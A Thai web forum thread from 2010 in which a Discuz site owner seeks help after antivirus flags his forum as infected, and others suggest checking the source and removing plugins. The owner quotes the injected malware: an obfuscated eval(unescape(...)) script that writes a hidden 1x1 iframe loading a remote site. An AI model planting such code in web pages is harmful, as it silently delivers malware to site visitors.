ทำไงดีครับเว็บติดไวรัส

Sakdituch · โพสต์ 2010-9-26 11:28:31

แก้ไขครั้งสุดท้าย Sakdituch โดย 2010-9-28 20:53

ทำไงดีครับเว็บติดไวรัส คือเข้าเว็บแล้ว มีการเตือนของ แอนตี้ไวรัสอะครับ
เวลาเข้าเว็บจะมี popup แล้วมีอะไร ให้เลือกเกี่ยวกับ install ภาษาอะครับ
ควรทำยังไงดีครับ ช่วยแนะนำทีครับ

---
ตอนนี้ผมลบหมดแล้วครับเหลือแต่
ตอน ล็อกอิน กับ สมัครสมาชิกอะครับ
ผมหาโค๊ดไวรัสไม่เจอ ผมดูที่ logging.php register.php ก็ไม่มีอะครับ จะดูที่ไหนดีครับช่วยหน่อยครับปวดหัวมากๆ

สคิปนี้อะครับไวรัส
<script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%63%65%64%66%65%72%2E%63%6F%6D%2F%3F%32%35%30%37%38%34%33%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script>

jaideejung007 · โพสต์ 2010-9-26 11:54:50

SS มานำแหน่ คือสิฮู้นำ

เปิดดูซอร์สโค๊ดนะครับ

บางทีอาจจะมีโค๊ด iframe หรือโค๊ดแปลกปลอมแทรกเข้ามานะครับ

Sakdituch · โพสต์ 2010-9-26 12:24:07

jaideejung007 · โพสต์ 2010-9-26 13:02:07

เฮ้ย เบราวเซอร์มันแจ้งว่า

IE ต้องการใช้ add-on ของ Remote Data Service Data Control

แสดงว่าเว็บคุณได้มีปลั๊กอินหรือแอดออนสำหรับใช้งานดังกล่าว

ดูซอร์สโค๊ดไม่ได้เหรอ

และมันอยู่หน้าไหนครับ หน้าแรกเหรอ หรือว่า ทั้งระบบของดิสคัส

Sakdituch · โพสต์ 2010-9-26 13:47:31

ทั้งระบบของดิสคัส เลยครับ เรื่องดู ดูซอร์สโค๊ด ไม่เป็นอะครับ
แล้วต้องทำยังไงบ้างหรอครับ แล้วทำไม แอนตี้บอกว่าเป็น

Kaspersky
Internet Security 2011
Access denied
The requested URL cannot be provided

The requested object at the URL:

http://www.xxxxxxx.com/

Threat detected:

object is infected by HEUR:Trojan.Script.Iframer

Message generated: 13:46:44

bigpcc · โพสต์ 2010-9-26 14:36:28

ชัดเลย เป็นพวกคำสั่ง iframe แน่นอนครับ

Sakdituch · โพสต์ 2010-9-26 16:13:07

คือ หลังจากลง http://forum.discuzthai.com/foru ... id=14810&page=1
กับ http://forum.discuzthai.com/foru ... id=14689&page=1
มันก็ขึ้นเตือนเลยอะครับ

jaideejung007 · โพสต์ 2010-9-26 19:52:27

Xshow กับ DucexHome

งั้นให้คุณลบปลั๊กอินออกทีละตัวครับ

แล้วดูว่า หากลบอันไหนออกแล้ว มันยังแจ้งเตือนอยู่หรือเปล่า

นั้นล่ะคือปลั๊กอินมีโค๊ดไวรัสมาด้วย

หรือบางทีเว็บคุณอาจจะติดไวรัสระหว่างอัพโหลดไฟล์ขึ้น FTP ก็เป็นได้

มันหลายกรณีครับ เราต้ององค์ประกอบหลายๆ อย่างครับ

ส่วนเรื่องการดูซอร์สโค๊ดนั้น ก็ให้คลิกขวาที่หน้าเว็บนั้น แล้วเลือก View soucecode(ภาษาไทยก็ ดูซอร์สโค๊ด) ประมาณนี้ครับ

รีบตรวจสอบล่ะครับ เจ๊งมาทั้งระบบ งามไส้เป็นแน่

Sakdituch · โพสต์ 2010-9-26 21:49:18

Xshow มันลบไม่ได้อะครับ ลบแล้ว error
อีกอย่างเครื่องผมก็ติดไวรัส หลังจาก อัพ FTP อะครับ

Sakdituch · โพสต์ 2010-9-28 20:53:59

^ดันข้างบนครับ
l
l
l

บัญชี		จำสถานะนี้ไว้ในครั้งหน้า	ลืมรหัสผ่าน
รหัสผ่าน			สมัครสมาชิก

[X1] ทำไงดีครับเว็บติดไวรัส